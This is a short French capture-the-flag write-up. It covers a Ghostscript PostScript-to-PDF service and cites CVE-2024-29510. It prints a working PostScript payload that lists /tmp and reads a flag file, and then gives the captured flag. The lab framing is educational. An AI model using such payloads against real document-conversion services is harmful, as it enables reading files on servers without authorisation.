✅ Day 17 - Ghost in the shell

  • MISC
  • Date de résolution : 17/12/2024

Reconnaissance

Le challenge consiste en un service accessible à distance qui prend en entrée des commandes Postscript et génère un PDF en retour grâce à la commande GhostScript...
L'objectif est de lire un fichier /tmp/flag-<RANDOM>.txt
En cherchant les dernières vulnérabilités de GhostScript, on trouve : CVE-2024-29510

##Exploit

 1%!PS
 2/Helvetica findfont 10 scalefont setfont
 3
 4% ---- Titre ----
 572 750 moveto
 6/Helvetica-Bold findfont 14 scalefont setfont
 7(Mon Fichier PDF - Contenu du répertoire /tmp) show
 8
 9% ---- Retour à la police normale ----
10/Helvetica findfont 10 scalefont setfont
1172 720 moveto
12
13(/tmp/*) { = } 1024 string filenameforall
14
15(/tmp/flag-9fb215456edeadc855c755846be83cc310a5d262aa5d9360dd27db9cd0141a9d.txt) (r) file 1024 string readstring pop =
16
17showpage
FLAG

The flag is : RM{Gh0Scr1pt_c4n_d0_THIS??}